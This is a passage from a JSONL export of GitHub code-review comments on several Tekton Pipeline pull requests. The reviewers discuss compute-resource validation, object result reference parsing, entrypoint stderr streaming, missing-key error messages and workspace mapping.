"2022-06-16T15:43:25Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "right. missed it, let me add one case for it.", "comment_id": 899230407, "created_at": "2022-06-16T15:44:23Z", "line": 676, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "hmm seems a bit better. != is a bit more specific condition for >", "comment_id": 899231091, "created_at": "2022-06-16T15:45:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "so here mean we leave out the \"parent\" field, `taskRunSpecs`, for it? \r\nthinking it perhaps could help users locate the \"error\" field", "comment_id": 899232472, "created_at": "2022-06-16T15:46:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "ya. +1 as the last comment", "comment_id": 899232817, "created_at": "2022-06-16T15:46:48Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "got an \"invalid argument\" for `len()`, will update as `override.Resources.Size() != 0`. ", "comment_id": 899358304, "created_at": "2022-06-16T17:33:05Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "taskrun doesn't have a `taskrunspecs` field, so it might be confusing. Also, if you look at the pipelinerun_validation_test.go, it's outputting \"taskRunSpecs[0].taskRunSpecs.computeResources\" instead of \"taskRunSpecs[0].computeResources\"", "comment_id": 899476011, "created_at": "2022-06-16T19:59:47Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "hm, on second thought it might be worth including an example-- my main concern is that there are multiple valid ways to implement task-level resource requirements, so I don't necessarily want to tie ourselves to one way in the documentation. but I'll leave this up to you.", "comment_id": 900166856, "created_at": "2022-06-17T14:18:08Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "right! let me get rid of it. thanks Lee. ", "comment_id": 900242792, "created_at": "2022-06-17T15:28:27Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "this is a good point as the updating logic is not completed now and could be adjusted when going into the details. \r\n\r\nI backed these changes. let me remove them now, and see if I can offer one meaningful example after impled the resource config/update logic. ", "comment_id": 900250853, "created_at": "2022-06-17T15:30:13Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "this expression is difficult to read-- any chance you can add comments/helpful variable names/split into multiple lines or any of the above?", "comment_id": 874607837, "created_at": "2022-05-17T09:47:32Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "just want to make sure I understand what's going on here-- the parameter named \"param\" is an object param with keys that are each individual results from pipeline tasks?", "comment_id": 874611976, "created_at": "2022-05-17T09:51:45Z", "line": 254, "path": "pkg/apis/pipeline/v1beta1/resultref_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "could you add a test case for an object result with multiple properties? e.g. `(tasks.sumTask3.results.imageresult.digest)` and `(tasks.sumTask3.results.imageresult.tag)`", "comment_id": 874612339, "created_at": "2022-05-17T09:52:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "Is the reason this is invalid because the result is not an object type result?", "comment_id": 874612998, "created_at": "2022-05-17T09:52:48Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "It may be worth adding a comment here about some of the discussion in this section of the TEP https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#collisions-with-builtin-variable-replacement", "comment_id": 874619265, "created_at": "2022-05-17T09:58:43Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> just want to make sure I understand what's going on here-- the parameter named \"param\" is an object param with keys that are each individual results from pipeline tasks?\r\n\r\nYes, correct! ", "comment_id": 875095489, "created_at": "2022-05-17T17:43:23Z", "line": 254, "path": "pkg/apis/pipeline/v1beta1/resultref_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Is the reason this is invalid because the result is not an object type result?\r\n\r\nNot really, it's because the reference format is invalid. `$(tasks.a-task.results.output.key1.invalid)` has extra `.invalid` part. It must be one of \r\n- 4 dot-separated components `$(tasks.a-task.results.)`\r\n- 5 dot-separated components `$(tasks.a-task.results..)`\r\n\r\nThe invalid format in original test had 5 dot-separated components. Since we need to consider the object case, I just added the 6th one (extra) to test against it.", "comment_id": 875103072, "created_at": "2022-05-17T17:50:02Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "sgtm! Thanks @lbernick ", "comment_id": 875103454, "created_at": "2022-05-17T17:50:25Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> could you add a test case for an object result with multiple properties? e.g. `(tasks.sumTask3.results.imageresult.digest)` and `(tasks.sumTask3.results.imageresult.tag)`\r\n\r\nAdded. Thanks @lbernick !", "comment_id": 875448990, "created_at": "2022-05-18T04:07:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> this expression is difficult to read-- any chance you can add comments/helpful variable names/split into multiple lines or any of the above?\r\n\r\nGreat point. Just separated them and added comments!", "comment_id": 875449296, "created_at": "2022-05-18T04:08:20Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "Just to check my understanding, `tasks.a-task.results.output.output` is no longer invalid, as it will be treated as the \"output\" key on the \"output\" result, and if such a result doesn't exist, there will be an error? Are the cases where the result or property doesn't exist tested anywhere?", "comment_id": 875606443, "created_at": "2022-05-18T08:19:21Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm still a bit confused here about what this comment is trying to say; is this accurate?\r\n\r\n```\r\nResult expressions of the form . will be treated as object results. If a string result name contains a dot, brackets should be used to differentiate it from an object result.\r\n```\r\n\r\nAlso, could you link to the specific section of the TEP? (Much easier for someone reading than to have to look through two full TEPs.)\r\n\r\nLastly, has this support already been added? If not, that should probably be done first, so users have an option to express results with dots in the names before the way we interpret that syntax changes.", "comment_id": 875610968, "created_at": "2022-05-18T08:23:44Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please link to the issue rather than a contributor? This provides a lot more context for anyone reading this comment.", "comment_id": 875611741, "created_at": "2022-05-18T08:24:31Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "Thanks for breaking this up-- much more readable now", "comment_id": 875612598, "created_at": "2022-05-18T08:25:19Z", "line": 172, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I wonder if we could add some docs of these return? Since you have provided how the expression looks like in the following part, it would be better to document them explicitly? ", "comment_id": 876176190, "created_at": "2022-05-18T17:44:31Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "You can link to https://github.com/tektoncd/pipeline/issues/4723 if you want", "comment_id": 876177306, "created_at": "2022-05-18T17:45:59Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "great point. I'll add a comment for it.", "comment_id": 876177512, "created_at": "2022-05-18T17:46:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Great work on working on this part btw", "comment_id": 876182584, "created_at": "2022-05-18T17:52:31Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "Let me just remove the todo line since @Yongxuanzhang has implemented this (I guess that will be merged soon) .\r\n\r\nOriginally I added this just to avoid confusion (i.e. why only string result and object result are considered here not array type? \ud83d\ude06 ", "comment_id": 876201368, "created_at": "2022-05-18T18:14:05Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh it is not opened yet, but this is a good reminder for me when I open that PR. We can keep it and link to our issue.", "comment_id": 876210350, "created_at": "2022-05-18T18:22:08Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Just to check my understanding, `tasks.a-task.results.output.output` is no longer invalid, as it will be treated as the \"output\" key on the \"output\" result, and if such a result doesn't exist, there will be an error? Are the cases where the result or property doesn't exist tested anywhere?\r\n\r\nGreat questions!\r\n\r\n> `tasks.a-task.results.output.output` is no longer invalid, as it will be treated as the \"output\" key on the \"output\" result,\r\n\r\ncorrect. \r\n\r\n> if such a result doesn't exist, there will be an error?\r\n\r\nYes, this result ref validation is in place on the [reconciler level](https://github.com/tektoncd/pipeline/blob/33b3eac346a37ae7943f210fa13d9c4ea7d571fa/pkg/reconciler/pipelinerun/resources/validate_dependencies.go#L60-L87) (not here in the admission webhook level). Specifically, the error for the case when a result name doesn't exist will be returned from line 84.\r\n\r\n> Are the cases where the result or property doesn't exist tested anywhere?\r\n\r\nYes, there will definitely be a validation for that. I already added the `property` field in the [`ResultRef` struct](https://github.com/tektoncd/pipeline/pull/4878/files#diff-49d33732c3f59a974dc47badc9ea139fe28e0e9b059c1f0aa478da3f78deaa09R26-R30). So IIUC the validation for object result properties will be done on the reconciler level too (will be implemented in future pr).\r\n", "comment_id": 876224517, "created_at": "2022-05-18T18:34:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> I'm still a bit confused here about what this comment is trying to say; is this accurate?\r\n> \r\n> ```\r\n> Result expressions of the form . will be treated as object results. If a string result name contains a dot, brackets should be used to differentiate it from an object result.\r\n> ```\r\n> \r\n> Also, could you link to the specific section of the TEP? (Much easier for someone reading than to have to look through two full TEPs.)\r\n\r\nSounds great to me!! Thanks for the suggestion.\r\n", "comment_id": 876228102, "created_at": "2022-05-18T18:38:44Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Lastly, has this support already been added? If not, that should probably be done first, so users have an option to express results with dots in the names before the way we interpret that syntax changes.\r\n\r\nDo you mean if `If a string result name contains a dot, brackets should be used to differentiate it from an object result.` is already supported?\r\n\r\nIf so, I guess the answer is no because the original [parseExpression](https://github.com/tektoncd/pipeline/blob/33b3eac346a37ae7943f210fa13d9c4ea7d571fa/pkg/apis/pipeline/v1beta1/resultref.go#L125-L131) will treat`$(tasks.myTask.results[\"aResultName.contain.dots\"])` as invalid because there are only 3 dot separated tokens and [this](https://github.com/tektoncd/pipeline/blob/33b3eac346a37ae7943f210fa13d9c4ea7d571fa/pkg/apis/pipeline/v1beta1/resultref.go#L32) was the only result ref format recognized prior to this pr.\r\n\r\ncc @Yongxuanzhang Any inputs on this?", "comment_id": 876229306, "created_at": "2022-05-18T18:40:12Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "Another question related to this. Do we really want to support the result name that contains dots(.)? The [result regex ](https://github.com/tektoncd/pipeline/blob/33b3eac346a37ae7943f210fa13d9c4ea7d571fa/pkg/apis/pipeline/v1beta1/resultref.go#L40) seems supporting that, but [parseExpression](https://github.com/tektoncd/pipeline/blob/33b3eac346a37ae7943f210fa13d9c4ea7d571fa/pkg/apis/pipeline/v1beta1/resultref.go#L125-L131) in the validation webhook seems not supporting this, which is inconsistent.\r\n\r\nAlso https://github.com/tektoncd/pipeline/issues/3590 seems only to proposed supporting param names that contain dots.\r\n\r\nIf we don't want dots in result names, we can change the [result regex ](https://github.com/tektoncd/pipeline/blob/33b3eac346a37ae7943f210fa13d9c4ea7d571fa/pkg/apis/pipeline/v1beta1/resultref.go#L40) to make sure result name cannot contain dots. This seems the quick solution for the conflicts with `objectResultName.key` name.", "comment_id": 876296040, "created_at": "2022-05-18T19:42:05Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "having dot in result name is problematic for parsing. ", "comment_id": 876330343, "created_at": "2022-05-18T20:13:57Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will handle this case later", "comment_id": 881044314, "created_at": "2022-05-24T22:56:29Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "@Yongxuanzhang thanks!\r\n\r\n@lbernick do you think it's okay to merge this pr first? Thanks!", "comment_id": 881045867, "created_at": "2022-05-24T23:00:09Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "This seems like a breaking change to any parameters that currently contain dots. I think either #4797 should be resolved (i.e. we disallow dots and document that this is happening) or we support brackets to allow users to continue to use params with dots, before this change is merged.", "comment_id": 881594383, "created_at": "2022-05-25T12:30:53Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "Using **parameter** in bracket whose name contains dots has been already supported, and [here](https://github.com/tektoncd/pipeline/blob/main/docs/tasks.md#specifying-parameters) is the documentation about it.\r\n\r\nIt just seems the **result** doesn't support bracket notation yet (therefore it doesn't support result names that contain dots). And I guess that's what yongxuan will be working on. But I think that doesn't block this pr. \r\n\r\nI also have a question like my previous [comment](https://github.com/tektoncd/pipeline/pull/4878#discussion_r876296040). Are there specific needs for result names containing dots? wdyt @lbernick", "comment_id": 881745384, "created_at": "2022-05-25T14:44:05Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "update: talked to @lbernick @Yongxuanzhang @jerop about this offline. [TEP-0080](https://github.com/tektoncd/community/blob/main/teps/0080-support-domainscoped-parameterresult-names.md) proposed to support using dots in both param and result names. Param part was supported but not result. \r\n\r\n#4910 and #4909 are the tickets tracking result names containing dots.", "comment_id": 882267958, "created_at": "2022-05-26T02:43:47Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am a little surprised since this PR https://github.com/tektoncd/pipeline/pull/4268 fixed the results. \ud83e\udd14 ", "comment_id": 882339195, "created_at": "2022-05-26T05:54:10Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "Thanks @pritidesai for the pointer.\r\nSeems like #4268 has implemented the variable replacement part on the reconciler side for result names that contain dots and are referenced via bracket notation. But only the parsing in the validation webhook doesnt recognize `$(tasks.myTask.results[\"foo.bar\"]` (https://github.com/tektoncd/pipeline/issues/4909#issuecomment-1138080594)\r\n", "comment_id": 882929180, "created_at": "2022-05-26T17:53:52Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "After chatting with @chuangw6 I realized this is actually not a breaking change-- it allows more types of params to be validated than before, and doesn't change existing validation", "comment_id": 883920939, "created_at": "2022-05-27T19:19:33Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "lbernick", "body": "After chatting with @chuangw6 I realized this is actually not a breaking change-- it allows more types of params to be validated than before, and doesn't change existing validation", "comment_id": 883920940, "created_at": "2022-05-27T19:19:33Z", "line": 39, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you also add a TODO for replacing them with REGEX?", "comment_id": 888114083, "created_at": "2022-06-02T15:50:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "ywluogg", "body": "Add a test case for this error message to be shown in test case", "comment_id": 888127401, "created_at": "2022-06-02T16:02:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "sure! added!", "comment_id": 888244122, "created_at": "2022-06-02T18:01:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just added a test case for too many dot-separated components.\r\nThe test cases with other invalid format already exist in the function named `TestNewResultReference` which tests its caller, but its caller is expected to return empty resultref rather than an error. So that's why this message will not be printed out.", "comment_id": 888250128, "created_at": "2022-06-02T18:08:30Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4878, "repo": "pipeline"} +{"author": "pritidesai", "body": "s/stdout/stderr/", "comment_id": 903135703, "created_at": "2022-06-21T23:00:05Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "pritidesai", "body": "I think there is a typo here \ud83e\udd14 should this be `results.error.path` and not `results.err.path`?", "comment_id": 917078945, "created_at": "2022-07-08T19:13:58Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/step-stream-support.yaml", "pr_number": 4882, "repo": "pipeline"} +{"author": "bradbeck", "body": "Yep, you are correct. I'll push an update in a few minutes.", "comment_id": 917092825, "created_at": "2022-07-08T19:38:45Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/step-stream-support.yaml", "pr_number": 4882, "repo": "pipeline"} +{"author": "pritidesai", "body": "Why copy stdout file descriptor and create a new file `stderrFile`? Can we rely on the already initialized file instance `stdoutFile`? I prefer implementing this way to keep both stdout and stderr independent of each other but just wondering if it's possible to reuse. ", "comment_id": 917171188, "created_at": "2022-07-08T22:32:47Z", "line": 121, "path": "cmd/entrypoint/runner.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "pritidesai", "body": "License header please!", "comment_id": 917192152, "created_at": "2022-07-09T00:00:31Z", "line": 17, "path": "cmd/entrypoint/io.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "pritidesai", "body": "License header please!", "comment_id": 917192190, "created_at": "2022-07-09T00:00:44Z", "line": 17, "path": "cmd/entrypoint/io_test.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "bradbeck", "body": "I believe it is so that the file descriptors can be closed independently, but still point to the same file. Will do some additional checking to confirm.", "comment_id": 917264227, "created_at": "2022-07-09T12:50:43Z", "line": 121, "path": "cmd/entrypoint/runner.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "afrittoli", "body": "Sorry, I think this was bad advice on my side, `len(taskSpec.Steps) >= i+1` actually includes all steps \ud83d\ude4f ", "comment_id": 919448646, "created_at": "2022-07-12T21:39:06Z", "line": null, "path": "pkg/pod/entrypoint.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "afrittoli", "body": "\ud83e\udd29 ", "comment_id": 922038300, "created_at": "2022-07-15T10:27:21Z", "line": 1242, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 4882, "repo": "pipeline"} +{"author": "afrittoli", "body": "We generally discourage use of `volumes` in favour of `workspaces` which is the preferred authoring time abstraction. Could you change the example here to use `workspaces` instead, as users will often copy examples from the reference docs. Thank you!", "comment_id": 922040930, "created_at": "2022-07-15T10:31:03Z", "line": 501, "path": "docs/tasks.md", "pr_number": 4882, "repo": "pipeline"} +{"author": "afrittoli", "body": "Users should use a workspace rather than a volume. The workspace can be bound at runtime to an `emptyDir` is the required sharing is only within the `Task`.", "comment_id": 922041955, "created_at": "2022-07-15T10:32:31Z", "line": 506, "path": "docs/tasks.md", "pr_number": 4882, "repo": "pipeline"} +{"author": "lbernick", "body": "This error message would be more helpful if it returned which keys were missing and for which parameters", "comment_id": 898083449, "created_at": "2022-06-15T14:51:03Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "chuangw6", "body": "sg! Changed the verifier helper function to return a map (key: param, val: missing keys) so when the users see the err message from pipelinerun status, they will see which keys were missing and for which parameters.\r\n\r\nBut for the wantEvent in testing, if I also put the returned err message here, it gives weird error and fails test though the expected and got event reported from the following message are exactly same. I guess this is why other wantEvent cuts off the second half message too.\r\n\r\n```\r\nlogger.go:130: 2022-06-15T11:43:08.897-0700 ERROR TestReconcile_InvalidPipelineRuns/invalid-pipeline-missing-object-keys pipelinerun/reconciler.go:294Returned an error {\"targetMethod\": \"ReconcileKind\", \"error\": \"1 error occurred:\\n\\t* PipelineRun missing object keys for parameters: map[some-param:[key2]]\\n\\n\"}\r\n pipelinerun_test.go:1316: error in test pipeline-missing-object-param-keys: expected event \"Warning Failed PipelineRun foo/pipeline-missing-object-param-keys parameters is missing object keys required by Pipeline foo/a-pipeline-with-object-params's parameters: PipelineRun missing object keys for parameters: map[some-param:[key2]]\" but got \"Warning Failed PipelineRun foo/pipeline-missing-object-param-keys parameters is missing object keys required by Pipeline foo/a-pipeline-with-object-params's parameters: PipelineRun missing object keys for parameters: map[some-param:[key2]]\" instead\r\n```", "comment_id": 898305367, "created_at": "2022-06-15T18:47:33Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please link an issue here instead of your GH handle?", "comment_id": 899456581, "created_at": "2022-06-16T19:30:54Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "lbernick", "body": "That's really weird-- can you try it out on the cluster and see what error message is returned to the user?", "comment_id": 899460866, "created_at": "2022-06-16T19:37:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just deleted this todo since that functionality has been supported in the validation webhook part.", "comment_id": 899470475, "created_at": "2022-06-16T19:51:40Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "chuangw6", "body": "sure. Just added. We'll see an error reporting that.", "comment_id": 899470633, "created_at": "2022-06-16T19:51:54Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "chuangw6", "body": "This is the error I refer to when we also add the rest of the error message to the expected `wantEvent`.\r\n\"Screen\r\n\r\nSo I guess we need to remove the rest part to pass the unit test @lbernick \r\n\r\n(But in the error returned when users miss some keys, we can see the full message without a problem with the information about which keys were missing and for which parameters.)", "comment_id": 900520251, "created_at": "2022-06-17T21:53:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4883, "repo": "pipeline"} +{"author": "dibyom", "body": "We should add a test for this logic ", "comment_id": 878195922, "created_at": "2022-05-20T14:16:15Z", "line": 892, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "Aleromerog", "body": "Good observation! I just added some test cases for it.", "comment_id": 880555783, "created_at": "2022-05-24T14:04:02Z", "line": 892, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\tName: \"pipelineWorkspaceName\",\r\n```", "comment_id": 880745355, "created_at": "2022-05-24T16:51:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\t\tName: \"pipelineWorkspaceName\",\r\n```", "comment_id": 880745485, "created_at": "2022-05-24T16:51:13Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "this function is tested again in lines 1713 to 1717 - could we add the one test case that is ran there into the test struct and run it once (remove the duplication)?", "comment_id": 880747910, "created_at": "2022-05-24T16:53:55Z", "line": 1738, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\tName: \"pipelineWorkspaceName\",\r\n```", "comment_id": 880748601, "created_at": "2022-05-24T16:54:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "the name of this test doesn't align with what's being tested \ud83e\udd14 ", "comment_id": 880749385, "created_at": "2022-05-24T16:55:26Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n // +optional\r\n\tWorkspace string `json:\"workspace,omitempty\"`\r\n```", "comment_id": 880750508, "created_at": "2022-05-24T16:56:36Z", "line": 109, "path": "pkg/apis/pipeline/v1beta1/workspace_types.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\tname: \"valid declared workspace with mapping\",\r\n```", "comment_id": 880753142, "created_at": "2022-05-24T16:59:21Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\tname: \"valid declared workspace with mapping pipeline and resolved pipeline\",\r\n```", "comment_id": 880753667, "created_at": "2022-05-24T16:59:53Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\tname: \"valid declared workspaces without mapping pipeline and resolved pipeline\",\r\n```", "comment_id": 880753819, "created_at": "2022-05-24T17:00:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\tname: \"valid declared workspaces without mapping pipeline\",\r\n```", "comment_id": 880753994, "created_at": "2022-05-24T17:00:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "Aleromerog", "body": "Nice catch, forgot to remove 1713 to 1717, it was already added on the test cases.", "comment_id": 880877087, "created_at": "2022-05-24T19:29:02Z", "line": 1738, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "Aleromerog", "body": "sorry typo, fixed.", "comment_id": 880914736, "created_at": "2022-05-24T20:17:16Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "it seems the rest of this line was mistakenly deleted? \ud83e\udd14 ", "comment_id": 880928330, "created_at": "2022-05-24T20:35:28Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\t\tt.Errorf(\"Pipeline.getTaskrunWorkspaces() returned error for valid pipeline with finally: %v\", err)\r\n```", "comment_id": 880931893, "created_at": "2022-05-24T20:40:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\t\tt.Errorf(\"Pipeline.getTaskrunWorkspaces() errors diff %s\", diff.PrintWantGot(d))\r\n```", "comment_id": 880932155, "created_at": "2022-05-24T20:40:41Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\n\t\t\t\tt.Errorf(\"Pipeline.getTaskrunWorkspaces() did not return error for invalid pipeline with finally\")\r\n```", "comment_id": 880932302, "created_at": "2022-05-24T20:40:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "lbernick", "body": "not sure there is a need to create a new variable for this?", "comment_id": 882940472, "created_at": "2022-05-26T18:08:24Z", "line": 892, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4887, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like this error message may be copy pasted from elsewhere", "comment_id": 882941790, "created_at": "2022-05-26T18:10:04Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4887, "repo": "pipeline"} 